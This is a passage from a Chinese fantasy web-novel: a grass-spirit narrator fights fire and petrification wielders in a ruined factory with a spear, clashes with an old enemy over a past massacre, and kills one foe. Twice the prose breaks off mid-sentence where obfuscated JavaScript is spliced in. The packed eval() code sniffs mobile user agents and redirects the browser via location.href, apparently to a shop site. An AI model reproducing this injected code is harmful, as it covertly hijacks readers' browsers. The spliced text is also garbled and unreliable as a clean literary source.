不才,那么残酷无情、屠戮“邪桑台同族妖精”的犯人,正是在下。 “哦哦哦!你这么一说,我是有点印象了!” 我用左手摸着后脑勺同时格外爽朗地大声笑起来:“龙炎你小子身上确实有那么一点儿的邪桑台余孽的臭味啊!怎么回事?我当年不是把你们都给屠满门了吗!你是不是躲在哪里才逃过一劫啊?哈哈哈!” 龙炎看起来气得都快爆炸了,周身火焰蹿起,以实际模样演绎着何为火冒三丈这个成语的意思:“我没有!你这伪善的杀人庸医!我根本没有躲藏!我当时在国外办事——” 我点点头,鼓励他继续说:“然后呢,我杀的哪个家伙是你的重要之人?御三家的蛇神?天狗?狐九?还是别的什么阿猫阿狗……哎呀,当年不小心杀得太多了,哪里有空一个个记得过来啊。” “闭嘴!不许你这样羞辱我师父!” 这么一个魁梧汉子整个人仿佛被我踩到尾巴那样发出尖锐爆鸣,如同一尊燃烧的炮弹那样骤然跳起,气势汹汹地朝我砸过来。 原来杀的不是他老婆,而是他师父? 好吧,好像也挺重要的。 我觉得龙炎的这位师父应该不是“御三家”的强大妖精,大概是我刚才提到的“阿猫阿狗”范畴吧。 哎呀,无所谓了,当年我比较年轻气盛、血气方刚,做事确实是稍微极端了一点。 这个我承认。 谁叫当年邪桑台的国内情况那么糟糕,封建君主不甘心战败的要搞事情,试图东山再起。国内高层忙于勾结外国势力,拼命压榨社会底层来发国难财。而“御国众”的妖精千百年来依旧坚持不懈地在鱼肉百姓,欺凌弱小……这群人与妖的垃圾全部拖出来枪毙了也不为过。 所以我根本不会有任何愧疚感。 再说了,人杀都杀了,而且过了至少八十年,说不定龙炎那位师父的灵如今都天地重组成什么新的妖精了,那我能怎么办啊? 这种小事回头罚酒两杯就差不多了。 “差不多得了,别揪着这点陈年烂谷子的事儿不放!看看你,像话吗?”我对龙炎发出了大前辈对后辈特有的亲切慰问,“你师父的在天之灵看到你这样子会开心么?” “混蛋!住口!!” 可惜他依旧无法理解我的良苦用心,看起来甚至恨不得下一秒杀了我。 唉,真是不识好人心。 石化的构造在我脚下急速蔓延开,那是死胖子妖精将足以让人“石化”的目光投向我所在的方向,他在与龙炎打配合,尝试限制住我的行动方位。 真的服了,我这辈子就没见过那么死肥宅的“美杜莎”。 草木从我的腿部血肉里钻出,急速刺穿石化外壳,延缓它们演变的进程。或者说,作为一个本体是草人的草木系妖精,我哪里都可以轻易生草哦。 包括言语(乐) 轰隆隆! 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17247910|194830||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >龙炎的含怒一击毫无保留地重重砸下,整座工厂建筑外壳都发出了不堪重负的震颤,火焰仿佛不要钱一样地蔓延开,将天台化作一片熊熊燃烧的金红色火场。 在狂暴燃烧的火焰和扭曲空气的滚滚高温之中,龙炎满是杀意地向我挥拳猛击,而我能活那么多年,当然靠的也不单纯是嘴皮子功夫……起码手上的看家本领还是要够硬的。 其实我觉得他生气也是对的,我当年确实杀了他师父,他找我报仇也算是合情合理。 这桩因果,我认了。 但倘若时间倒退,能够重来一百次,一千次,在八十年前的那个关键时间节点上,我依旧会做出如这一次一模一样的选择。 “御国众”是错的,封建邪皇与人类高层们是错的,掀起不义之战,肆意凌虐两国的百姓——这件事本身就是错的! 我就是看不惯这些事。 我就是要把那些逃过制裁的败类渣滓全部杀了才觉得人生无憾。 ……这口压抑数十年的恶气,我偏偏是不吐不快啊!! 手中的“离原枪”刹那间爆发出惊人的柔韧性和锐利,我的【命源】能力被铭刻在枪尖上,它可以更轻松的剥夺凡是被枪尖划破皮肤的生灵之生命力。 我历来是在战术方面非常尊重对手,面对龙炎那已经是完全舍弃防御的攻击,我当然不可能退缩分毫。 迎着龙炎如风暴一样密集袭来的高温铁拳,我选择一招一招的格挡,偏移,试探,反击……作为我的“半身”,这把以我的脊椎骨为原型炼制出的本命法宝这么多年来一直随着真实的记忆被封禁在我的体内。 没办法呢,当年要上战场,扛把枪来杀人听起来总比徒手杀人要合理一点点吧? 但是也没人通知我,大伙儿那时候用的“枪”已经是热武器了啊。 挠头.jpg 我擅长的枪法不多,放在现代武学界来说大概也就是《基础枪法入门》这种程度而已。 什么“火凤燎原”“暴雨梨花枪”的杀招……我是一概不会。 谁让我当年也只是围观着家里的小少爷跟一个落魄武举人学的启蒙枪法呢? 就好像没人会在“第七套全国广播体操”里加入什么寸拳开天、隔山打牛之类的杀招吧。 作为正在交手的敌人,龙炎显然也很快辨识出了我的枪法水平大概也就那样,忍不住嘲讽我:“区区乡野枪法,也敢与烈炎争辉?” 诶?龙炎怎么知道当年那位教导小孩儿的武举人老师的故乡在粤东乡下?他们之间应该彼此不认识吧。 “可是我当年就用这个‘乡野枪法’杀了你的师父诶。” 我使出妙手回春神医特有的亲切笑容,温和地回答了龙炎的疑问。 真是个记性不好的后辈,让我再提醒一下他。 他怒到炸了。 字面意思,一瞬间,难以想象的高温和火焰从那具缠绕着绷带的魁梧躯体里头爆发出来,如同有人突然往天台扔了个分量足够的开山炸弹。 在直接打爆了整座工厂的惊天火焰与冲击之中,前所未有的石化构造一下子冻结住了我脚边的所有地面和能够触及的东西,而且速度也比先前的石化进度快上至少三倍! 豁,“美杜莎”也拿出真本事了。 那恐怖的火焰与石化结构在眨眼间的工夫就彻底吞没了我的身形。 片刻后,金红色的大片火焰在半空中迅速凝聚重组,化作龙炎那具满是烫伤痕迹但气喘吁吁的身体时,他看向熊熊燃烧的工厂废墟,问道:“得手了?” “……没。”不知何时出现在他身边的祸心推了推鼻梁上的墨镜,“我感知不到火场里还有‘心灵’的存在。” “什么?”龙炎惊怒,一口气把剩余火焰吸回体内,却只看见地上碎裂的石碓里还堆积着一滩被烧焦的灰白色草木灰。 他的耳朵动了一下,猛地回头看向鹿野那边的方向,祸心也同时发现了这点:“竹茂瞬移去那边了!她跑了?” “妈的,那贱人又不是【空间系】,到底是怎么办到的?!” 哼哼,真是愚蠢的问题,当然是靠着我和鹿野无坚不摧的友情羁绊完成了瞬移行动啦! 友情,就是魔法啊.jpg “阿竹你个王八蛋,快点从我的腰带里爬出来!到底什么时候在我的腰带里头种草籽的?”狂奔中的鹿野一把揪住我的头发往外扯,手劲大得我生理性的眼泪都要飙出来了,“重得要死!我的速度都要被你拖累了——” “草籽是在你刚才破窗而出的前一秒钟!而且我最近吃得也不多啊!” 我很委屈地大声辩解,然后整个草人如同一张纸似的从鹿野的腰带后方缝隙里钻出来,下一秒身形如同充气一般在风中猛地鼓起来,化作正常人的形状。 ——是的,持有本命法宝“离原枪”的我不仅可以更轻松地施加【命源】来开展攻击或者治疗,同时我可以无缝高速切换本体和分身。 每一个草籽生成的分身都可以变成我的本体,不像以前那么麻烦,从而达到一个“草木皆兵”的效果。 这大变活人的架势吓了冲得最近的皆逆荒一跳,我顺手给他的面颊一拳,把小伙儿原路打飞出去。 哟,手感还挺好,柔软而不失韧性,难怪小黑和鹿野都乐意揍他。 鹤天看起来也被吓坏了:“竹茂,你在这儿……龙炎他们怎么了!” “大白天的放烟花玩咯,还能怎么样。” 远处的那座工厂还在爆炸和燃烧,我一边说着,手中的“离原枪”一边柔韧性大增,这得心应手的本命法宝在我手里跟鞭子似的猛抽老头儿,直接把鹤天抽得跟陀螺似的抱头鼠窜。 你也下去跟皆逆荒做伴吧! “别玩了!”已经跑远了的鹿野痛骂我,“快来助我!” “哦哦,不好意思,马上马上。” 我一枪抽飞陀螺老头,赶忙跟上去,跑了。 29.吃我一记 其实我也不知道鹿野如今破了几个阵眼,毕竟整个废弃工厂区遍布着十三个阵眼,彼此之间的位置距离远,高度落差大,在短短的几分钟里她应该还没完全破解。 因此我抓着“离原枪”加速冲过去,厚着脸皮装作无事人那样笑嘻嘻地凑过去问:“破到第几个了?” “第四个。”鹿野冷飕飕地瞥了我一眼。 由于我们两人是一边飞奔一边说话,迎面一根手腕粗细的铁架子正好撞过来。 我选择一个跪膝滑铲从底下的空档处滑过去,鹿野则是看也不看地用手掌一撑,整个人从架子上方翻过去,动作行云流水,潇洒动人。 ……我可太喜欢围观她的一举一动了。 真帅! “哟,不生我的气啦?”我假装很随意地问。 但是让我心凉了半截的是鹿野此刻的反应。因为按照我对她平时的理解,她要是生气地骂我两句或者说“少在那里嬉皮笑脸”之类的狠话,反而没什么太大问题。 毕竟鹿野无论做什么事情我都很喜欢,她骂我时我也总是开开心心的,然后她一般会开始撸起袖子准备上手揍我…… 但是鹿野此刻也只是格外冷淡地回答:“正事要紧。按老规矩来——你掩护,我全力前进。” “……明白。”我强压住内心泛起的古怪酸涩感,姑且还算是冷静地回答道。 鹿野突然问了一个问题:“哪来的大枪?没见你用过。” “哦,我本命法宝,一直都藏在脊椎里,这么多年都给忘记了。” “……” 她不再理我,面无表情地目视前方,任由狂风将她额前的刘海吹得乱舞。 我怀疑鹿野这个时候大概觉得我是个货真价实的大笨蛋,居然连藏在自己体内的本命法宝都能忘记。 但我也没办法,谁让冰云城把我的记忆给格式化重置了呢? 这就跟忘记哔哩哔哩的账号登录密码一样嘛,它的确存在,但就是想不起来。 “对了,差点忘了。” 虽然心乱如麻,但我还是突然想起一件事,当即从胸前的防弹衣护甲下一摸,将两块随身金属抛给她。 考虑到鹿野目前暂时失去了驾驭金属的能力,我还很贴心地用几根柔韧性特别强劲的野草充作绳索,将那两块金属片缠绕在她的腰带后方,成了腰带的一部分。 这样既不会影响她的正常行动,也能够在鹿野恢复【御金系】能力的第一时间掏出这两大宝贝儿! “难得竹茂你这回那么细心。”鹿野终于对我说了一句好话,“谢了。” “嘶!” 我倒吸一口凉气,险些撞到一根柱子上,同时面色呆滞地看着这位客客气气却又飞驰而去的这位友人。 不是鹿野你跟我客气啥啊! 叫我的全名就算了!而且平时的话,你不是多半会说“帮我叼回来了?好狗狗”之类的糟糕夸奖吗!现在突然变得很正常很客套了! 一种愈发不妙的悲凉预感在我心头徘徊…… 完了完了我完了没希望了真的要绝交了对不对她一定是生气了!! 我现在去找时光机还来不来得及? 该死,该死的!都是那群通缉犯的错,我得想办法把他们全部砍了才行! 恰好我听见背后有恶风扑来,顿时再也按捺不住内心的莫名悲愤和无能狂怒,手中长枪如龙蛇一般翻转,人未至,枪尖先我的身躯一步转过去—— 回马枪?! 鬼镰大惊,用眼神认出了这一招,旋即用手中的黑红色镰刀撞开我的枪尖。 但是我现在很不高兴,当即用枪尖对着这人的兜帽面孔狂戳,这杆沉重的冷兵器在我的手中登时舞出璀璨夺目的致命枪花。 仓促格挡下,枪尖有那么一瞬间划破了鬼镰的脸颊皮肤,我看见几滴鲜血在空中飞溅出来。 但我并未急着发动【生灵系·命源】来给他夺取他的生命力,因为想要再给他叠加多几层debuff来打出更大的暴击伤害。 砰砰砰! 我们两个在打斗中一路砸进了下方的一个空旷仓库里,中间撞断了若干支架和几根金属房梁,顺带将底下的一些空箱子给当场撞碎。 灰头土脸的鬼镰从满是灰尘的仓库地面爬起,旋即立刻拖拽大镰刀向我扑过来,那镰刀寒芒逼人,被他舞得虎虎生风。 但我没有忘记鹿野的叮嘱,她要我帮忙掩护……于是我一边后退一边随意地用枪杆尾端在地上一划,众多颜色深浅不一的草木顿时疯了一样地从那个淡淡的地面划痕里生长绽放出来。 鬼镰见状,顿时止步不前,不敢轻易踏入那草木攻击的范围。 “生!” 我的手臂扬起,再次用枪杆末端一砸地面,一道翠绿的光华自“离原枪”为圆点扩散开来,对着范围以内的众多草木施加全新的生命力。 这些草木立刻开始随之急速生长、扩散,如同冲天的神木一样撞破了墙壁上的破烂窗户和天花板的缺口,眼看马上要故技重施化作一道障碍—— 然后,我看见最顶端的那一撮野草骤然变得灰白、僵硬,连带着底下的植物也跟着被急速凝固住,再无生机。 被石化了! 是龙炎和石沉他们几个赶过来支援了。 ……真恶心,我讨厌“石化”这种无趣透顶的能力。 轰隆! 刺眼的火光“流星”从仓库外头猛然砸穿进来,撞破墙壁,灰尘中那位再次凝聚为人形的龙炎双目金红,顶着一身满是烧伤疤痕的赤裸皮肤,宛若神话中驾驭火焰的恶神一样,一言不发地奔着我而来。 敌人的杀意已经强烈到肉眼可见,我不敢有丝毫怠慢,当即双手握住枪杆猛然往身前一挡——砰! 虽然已经是堪称完美的格挡动作,但我依旧难免被这个高大魁梧的敌人给飞天一拳给打后滑七八步,单膝跪地数秒,拄着枪杆才重新站起来。 生怕被龙炎波及的鬼镰悄无声息地退至一旁,恰好原本被我砸到不远处的皆逆荒和鹤天也出现在仓库的窗户外,他们不怀好意地从外面盯着我。 察觉二者目光后,我忍不住笑了:“你们是觉得就靠那个红皮肤的大只佬(大须)和绿发妹(鳄鱼)两人能阻拦鹿野破阵?” 窗外两人面色发苦,可能是觉得我说得确实有道理,再加上龙炎大喊着什么“她交给我一个人对付就足够”之类的屁话,皆逆荒和鹤天立刻撤退转而追击鹿野去了。 虽然我的工作是打辅助,但我也只是尽力而为之,毕竟光是应付这三个通缉犯的组合拳就让我觉得头疼了。 更何况龙炎是拿出200%的战斗态度想要来击杀我的。 我严重怀疑他这次出任务甚至都没收一分钱,纯粹是幕后黑手跟他说“嘿嗨嘿!我找到你的杀师仇人了,人家还活得好好呢!看看你自己到处东躲西藏,再看看仇人的生活吧!”后,他就怒不可遏地跑过来当杀手义工了…… 就在我急速思考对策之际,只见石沉这躲在一旁箱子背后的大胖子忽然蹲下,以双手拍击地面,沉闷的回响清晰可闻。 他的身形与这片石化地面迅速融为一体,藏匿其中。 刹那间,灰白色的石化构造在这间仓库内部急速扩张开,眼看是要彻底断绝我撒播草籽种下草木的机会。 真的服了。 发疯的龙炎一心想弄死我,死胖子阴森森地制造满屋子的石化结构来阻碍我的御木系能力发挥,还有一个心灵系能力的祸心不知道在哪儿猫着随时准备偷袭我,以及同样身处仓库里没有走的鬼镰在跃跃欲试地想要帮忙打配合。 ……好烦。 要是我现在是全盛时期,一定跟这群混蛋硬刚到底! 问题在于,我现在的外表看着还行——实际上很虚弱。 要知道我前天才因为在【流石会馆】里大规模施展【命源】救人而几乎耗尽了力量,一度连人形都维持不住,要不是鹿野和小黑偷偷摸摸地把我挖出来,本人现在估计还在流石废墟的土里大睡特睡。 而今天能打到这一步,全靠昨天胡吃海塞所储存的那点营养物质才生效。 如果用手机电量的说法来比喻,那么平时的我是100%电量的“性能模式”在运转,现在被迫化作不完整的人形状态后,自身电量大概只有55%,而且还是开了“省电模式”的那种。 更棘手的是,在经过先前的那场短暂交手和切换分身的逃逸行动之后,我的“电量”急速被消耗,目前剩下40%左右,属于是一个不小心就要暴死关机的下场。 ——那怎么行! 我怎么能死在这里? 好不容易走到今天这一步,拼了命才勉强摆脱过往的阴影,我还有很多事情没去做,很多话没有跟特定的人告知…… 所以我绝对不会让自己死在这儿。 而且鹿野给我的任务是帮忙掩护她,分散敌人的兵力——这个要求我已经做到了。 那么接下来的事情自然是想办法跟敌人兜圈子,拖时间咯。 打不过这群神经病,难道还跑不过吗? 于是我不等敌人作何反应,把“离原枪”往肩膀上一扛,转头拔腿就跑。 傻子才在省电模式下跟敌人硬拼。 “阻止她!” 龙炎大吼,然后第一个冲过来追杀我。 我根本没时间回头去看此人是什么表情,但我能够敏锐地感知到那股冰冷死寂的石化能力一直追着我的脚步跑。 看似毫不起眼的肥宅妖精正在从四面八方地操控“石化”能力来围捕我,倘若我的速度慢上哪怕一秒钟,恐怕就会立刻被这份石化之力所捕捉! 到时候怕是生不如死了! 然而披着黑色兜帽的鬼镰听从命令,同样在侧面墙壁上如履平地地奔跑。 骤然间,他挥舞大镰,高高跃起,朝我凶狠斩下——我立刻甩出手中的“离原枪”,如体育赛场上的运动员投掷标枪那样将其瞄准后直接扔射出去! 鬼镰连忙用他的大镰刀格挡,强行打歪了那原本瞄准自己脑袋的枪尖,但还是不慎被“离原枪”划破肩膀的衣物和皮肤,鲜血伴随着少许灵质光点溅射出来。 见此状况,我缩在袖子里的右手食指和中指当即捏成剑诀手势,往墙壁方向一甩,这武器法宝就直接将鬼镰整个人扎到一旁的墙壁上去了。 我看鬼镰艰难地伸手想要用力拔掉洞穿自己肩膀的“离原枪”,但这武器如钉子一样死死地扎在墙壁上,明显一时半会没法挣脱。 继续挂着吧你。 “竹茂,没了武器,你拿什么跟我打?” 正是被鬼镰这个敌人一耽搁,我就不太走运地被龙炎所追赶上来。 此人一个双腿喷火的动作悍然大跳,同时那双缠绕烈焰的双拳重重砸下,声势可怖。 赤手空拳的我只能在地上用尽全力地一滚,如懒驴打滚那样险之又险地躲开了这让地板缝隙都冒出烈焰的沉重一拳。 对于他的疑问,我根本不打算回答,也没必要解答。在打架时我的嘴炮向来是只用在我觉得能生效的地方。 这个怒发冲冠的妖精怒吼着从地板上拔出稍微有点陷入其中的拳头,周身火焰再次涌动,宛若野兽般四肢着地地冲过来,仿佛是一头浑身着火的狂暴斗牛。 龙炎在以一种近战冲锋的决绝姿态逼迫我徒手跟他对打。 与此同时,四周灰白色的石化结构“浪潮”已经成功追击上我,正在不断地尝试石化僵硬住我的双腿血肉,拖慢我的进度。 而从我血肉中生长出的草木则是不断地冲破石化表层,与之对抗。 ——自身的“电量”正在急剧消耗,我没法打消耗战。 啊……逃不掉了。 这个念头在我心中一闪而逝,我深吸了一口仓库内正在快速变得滚烫的空气,当将这口浊气猛然吐出的同时,我能够感觉自己整个人的背脊就如同一张缓缓拉开的千钧大弓。 它沉寂了那么多年,与我的“离原枪”一起被我遗忘。 但还好,我终究还是想起了那些技法,那些从最开始的故事,日夜勤练不辍的东西。 所有的骨头,肌肉,力线,脉络……全部归位,力从脚底板生出,顺着双腿穿过腰部,再往上走,攀附上脊椎大龙,一路直冲最上方的头顶天灵盖! 会挽雕弓如满月! “喝!” 面对那头出离愤怒的火焰狂兽,面对如此糟糕的局面,我的头脑却从未这般冷静而清晰,直直地将“利箭”打了出去。 腕,肘,肩,腰,膝,腿……这些东西,全都是我的“箭”。 人体真是奇妙的构造。 有那么多与生俱来的武器可以用来与同类厮杀。 我咬着牙咧嘴一笑,将喉头不断泛起的腥甜铁锈味给压回去,同时近在咫尺地看见龙炎在火焰中的那双瞳孔在剧烈震颤,他显然是没有料到我的近身技会比那半吊子的基础枪法要强得堪称天差地别。 那不是正常的吗? 在最开始,我也只是一个手无寸铁的孤身复仇者。 一个小妖精在战乱年代里能勉强仰仗的东西,也就手上的这点硬桥硬马的功夫了。 簇! 在激烈的对打之中,龙炎身上的火 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17258603|194830||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 焰彻底点燃了我。 剧烈的灼烧疼痛传入四面八方的神经里,视野里满是血丝,我听见自己的喉咙在咳血,草木的焦灼气息和不断消耗的周围氧气正在制造出一场关于气体的灾难。 虽然我穿着黑色的衣袍和护甲,但它们本质上依旧是草木的构造,根本没有真实防护物品该有的耐火性。 剧痛之下,我干脆直接切断了自己的痛觉神经感知,专心致志地压着龙炎打。 这家伙也很倔,抬手护住要害之处的同时对我大吼:“竹茂!我倒要看是你先被我的火给烧死,还是我先被你用拳头打死!咱们来比比吧!” 我依旧默不作声,一味抡拳,将这火焰敌人打得连连后退,几乎无法站稳。 正所谓人人知晓的基本生活常识“木生火”,我这样的【御木系】妖精在面对【御火系】的敌人,天生就容易被压一头。 事实上,我知晓自己早已此时化作了一座熊熊燃烧的人形火炬,倘若不是草木从血肉里实现急速再生,堪称是不计成本的代价,我早就燃烧殆尽了。 咔嚓。 我的双腿处传来一声令人寒心的古怪声响,它们彻底动弹不得。只见灰白色的石化结构不知何时已经蔓延上了我的腰部,我完全失去了对下半身的所有知觉和感知。 为了对抗燃烧带来的附加伤害,我不得不将原本对抗石化的那一部分草木拿去平摊。 事实上,能硬顶着石化那么久才被真正的“定”住,我自己都觉得蛮惊讶的。 龙炎一怔,同样被我揍得满脸是血的他立刻反应过来,却没有第一时间冲过来杀我,而是颇为忌惮地往后猛地一跳,双手高举过头顶开始蓄力。 只见无数金红烈焰在他的手掌上方升腾,眼看就要凝聚成一个巨大如轿车体型的恐怖火球。 “你逃不掉了!”他咬着牙道。 我:“……” 我咧开嘴,血丝从齿缝间流下来,眨眼间被身上的烈火给烧灼蒸发。 “未必。” 话音未落,我双手一拍自己的腰部,直接切断了与石化肢体的联系,整个上半身以平面的伤口切面,向着一旁的地面砸下。 也就是说——我对自己进行了“腰斩”。 鲜血和灵质疯狂逸散,但这一切不过是壮士断腕的求生手段罢了! 哪怕是断绝了痛觉神经,看到这一幕的血腥场面,我本人也觉得头疼无比。 轰隆! 原本如钉子一样默默扎在墙壁上的“离原枪”骤然爆发出一股惊人气浪——鬼镰先前削了自己的肩膀一部分血肉,成功逃脱被钉墙的装饰品命运——枪尖打穿了厚障壁一般的墙壁石化结构,最顶端直接刺穿到外界去了。 龙炎顾不上继续蓄力,第一时间把那个尚未完全成型的硕大火球直接砸过来。 但就在那些火焰砸到我的最后一秒之前,我挑了挑眉,在原地留下一具木愣愣的草木分身。 它在火球中甚至没有撑过一秒钟就化作灰烬! 下一刻,我的本体则是骤然出现在仓库外面的墙壁上,一手抓着那扎破石化墙壁而探出去几公分的枪尖,悬挂在半空中。 至于腰部以下的断面则是在短短几个呼吸里就迅速重生出新的下肢,看起来天衣无缝,只不过等会磨合起来可能还是会有点腰疼。 是的,借助这个本命法宝,我再次完成了“本体与分身的无缝切换”。 只要“离原枪”打到哪里,我的分身就能顺着枪尖扎根到哪里。 ——因为这武器,本就是我的半身! 但我并未打算就此逃跑,下一秒剧烈的爆炸在仓库里面发生,墙壁好像被人打了一拳那样爆裂开,将我整个人直接撞飞出去。 白色的爆炸气浪和黑色浓烟从碎裂的仓库废墟里滚滚冒出,我认为应该是龙炎手搓的那个恐怖高温火球砸空了而引发的爆燃现象—— 在尚未那么容易就结束的剧烈爆炸和震颤的燃烧中,我终于看见了坍塌石化结构中的那一丝破绽。 那些伪装不再完美,破绽就跟试卷上老师批改的红×一样显眼刺目! 我一把抓住“离原枪”,不顾身上依旧在燃烧的金红色烈焰,改变飞行方向,再次纵身跳下。 看到你了,无聊的死胖子! 缩在地底的石沉显然没有料到我会突破龙炎的围追堵截,硬生生直接杀到他面前。 他再也顾不上什么,满头大汗地将双手往头顶一挥! 层层叠叠的石化坚壳就此从大地中生出,密密麻麻地挡在了我的大枪与他的身躯之间。 在如此之多的阻隔之下,我这一枪的冲势无法抑制地被削减,最后卡在尚且还有几层新增石化坚壳时就再也扎不进去了。 如此近距离,我甚至能听见石沉在里面那因为心有余悸的沉重喘息和剧烈心跳。 透过灰白色石层之间的那一层层裂缝,我们能看见彼此的眼睛。 “都什么年代了……”他满头冷汗地笑话我,“还用这种老掉牙的大枪?” “你说得对。” 我点头赞许。 然后我抬起左手,燃烧烈火的手掌急速凝结成为一柄木质左.轮枪械的模样:“所以我也偶尔会用用这个,新枪。” 我听见他的心跳有那么一瞬间停滞了,旋即石沉释然地嘲笑起来:“区区一把木头玩具枪……” 磅!! 我身上的火焰被这一特殊的“玩具木枪”尽数吸入弹仓内,紧接着那火焰和木头结合的子弹如同真实的枪械那样直接打出去! 那是龙炎留在我身上,赋予我痛苦,想要夺走我生命的烈火……但正如木头可以保持火焰燃烧状态这个基本常识,只要披着木质外壳,我就同样能够短暂地维持住这股不属于我的力量在身上。 然后,将它们尽数返还回去。 而这也是我先前为何没有急着召回“离原枪”的原因之一,我要制造出徒手困斗的模样,吸引龙炎在我身上点火,至于这火焰留给谁用都行。 同时我以“离原枪”作为逃离仓库的一个后手方式,随时准备着撤退的后路。 不是说过了吗,傻子才跟他们在省电模式下拼命呢。 长达十几米的金红色火浪狂暴地撞碎了这最后几层石化构造,在一瞬间,将躲在后方的这个胖子妖精的脑袋全部吞没,眨眼间烧成焦炭。 他死了。 不然你以为我为什么没事要穿着防弹衣护甲啊?当然是为了随时随地跟敌人开启一场激烈的枪战啦。 而这,也是我的“枪法”之一。 竹某人平生学艺不精,给各位献丑了。 30.真的是 “竹茂!我一定要杀了你!!” 在借助身上残留的火焰凝结成“弹药”,并且一枪打爆那个能够操纵石化能力的敌人脑袋后,我听到身后不远处的地面上传来龙炎的怒吼。 这人的嗓门还是那么大,甚至都破音了。 但我毫不动容,右手的“离原枪”再次往前一扎——原本坚硬如铁石的残余石化构造如今全部变成了豆腐渣工程,这侧面反映了石沉是真的不行了。 我都根本没用力,枪头就扎在了这胖子的尸身身上。 “离原枪”的枪杆骤然亮起微光,那来自散灵妖精的残余生命力被这法宝给吸收殆尽。 反正死人也用不上生命力,胖哥们都要散灵了,不如给我续航用一下,就当是废物利用了,毕竟我也不嫌弃。 这一枪猛吸一大口,我顿时感觉自身岌岌可危的“生命值(电量)”被这一口续命给直接奶回了至少20%,当前生命值大概还维持在25%的总体程度。 很显然,刚才在仓库里硬顶着龙炎的燃烧攻击狂打一顿,在燃烧掉血外加石化冻结的双重攻势外加暗中防备着其他敌人的偷袭,这一系列复杂操作让我一度直接掉血掉到了岌岌可危的生命值仅剩5%! 好险,差点就真的领便当了! 这种反复在生死边缘横跳的感觉实在是久违又陌生,也许过去我会很喜欢这种心跳加速的刺激感,但如今过惯了平常日子,我只觉得无可奈何。 好像从来都没人问过我到底喜不喜欢打打杀杀的生活……但从一开始,我就反复澄清过自己的人生梦想。 多吃好吃的,多晒太阳,能够躺在土地上睡大觉。 ——这些就是我目前的志向。 起码,这是我自己选择的人生方式。 不过眼看新的危险就要降临,不用抬头,我都能感觉头顶那敌人的怒火已经化作了恐怖的熊熊烈焰。 我不打算留下来正面应对此时怒火中烧的敌人,打算暂避锋芒。然而当我正要使用“离原枪”自带的“草木皆兵”效果来进行今日草木分身与本体的第三次无缝切换之际,不料旁边的一团白雾猝不及防地钻出,并且对着我的脸吐出来! 由于此时的我正处于一个切换本体的关键间隙,旧力泄去,新力未生,一时间难以反抗,当即不受控制地被呛了一大口白雾! 糟了! 是祸心,她就这么躲在旁边,眼睁睁地看着我杀死她的通缉犯同伴,然后精准地抓住了我在紧急传送前的最后一丝破绽时刻—— “呵呵~” 我听见这无情的敌人那故作天真实则做作的恶心笑声在我脑子里徘徊开来,我很清楚,这是我被这个心灵系能力给影响的证明。 ……老妪何悻悻然作处子态! 刚才光顾着揍那两个垃圾敌人,忘了揍你这死老太婆了! ——是的,以前我在鹿野家蹭饭吃的时候拿了一些纸质通缉令当成垫骨头的“一次性骨碟”,边吃边瞄上面犯人的零散信息,没怎么在意,反正我知道祸心这老妖婆的真实年纪比我和鹿野加起来都大。 这是我在传送之前,留下的最后一个念头。 砰! 下一秒,我头昏脑胀地从皆逆荒的银灰色头发里爬了出来,抖了抖身子,一边咳嗽一边从纸片草人直接变回了正常人的体形。 从人家脑门上蹦出来的时候,脚下发软的一滑,我还不小心把皆逆荒给压趴在地。 结果这小伙子趴在地上吓得大喊大叫,指着我说什么“你为什么会出现在这里”“你对我帅气的头发做了什么”“我要秃顶了”之类的蠢话。 虽然我传送逃离及时,但祸心的【心灵系】能力已经开始影响我的神智和判断了。 明明如今身处在这座废弃工厂地带里,我却不受控制地隐约听见了晴天里的雷声,空中似乎有炮弹尖啸着坠落下来的声响,人们无助地哭喊……结果这个时候,这小子居然还在对我鬼吼鬼叫的? 我头疼欲裂,生命值都快降到红线了,本来就浑身难受,他又吵得要死,我索性直接一拳打在他后脑勺! “闭嘴!” 皆逆荒措手不及,张嘴不慎磕在地板上,当场被撞得磕掉了两颗大门牙。 但宽宏大量的我完全不在意这种小事,毕竟又不是我的门牙被打掉了,疼也不是疼在我嘴里。 “吵什么吵,你是什么没见过世面的乡下妖精吗?”我怒斥他。 ——当然是先前打在你面门上的那一拳时,顺便给你的头发里种了点新草籽咯! 实际上,鹤天先前被我跟抽陀螺一样的暴打,我顺手也在他的胡子里撒了一把草籽……如果他愿意把自己的胡子烧掉,就能一并烧光我的草籽。 但鹤天敢吗? 他们这些爱蓄须的男士到底有多看重自己的那点面部毛发,怕不是头割了都舍不得割自己的胡子,所以我根本不担心那阵法师老头子能暂时拿我的草籽怎么样。 我之所以没有发动这个能力,一是为了节省自身生命力,二是暂时没有再次使用草籽化作分身,然后再实现分身与本体转化的需要。 至于鹿野? 我暂时不敢再在这位挚友的腰带里继续种草籽了,我怕她又生我的气…… 我坐在满嘴是血、四肢挣扎想要掀翻我的皆逆荒背上,暂时拿他当垫子,一边咳嗽喘气一边忍耐着那些只有我能听见看见的幻觉和幻听。 “离原枪”拄在我怀里,它的末端抵住了地面,我正在用这武器尽力吸取附近土地上各种野生植物的生命力。 有一说一,在这种遍布生锈金属的工厂区,无论是地面还是地下,植被还是太少了。 感觉我努力吸的这几口都够不上我现在呼吸所消耗的生命力。 这个城市的上空在我看来此时布满了血色,这个时间天色尚早,不应该是血色的天空……不对,任何时候都不应该是血色,大气层的光学原理应该是……哎呀,天空是什么颜色来着? 灰色吗?还是绿色? 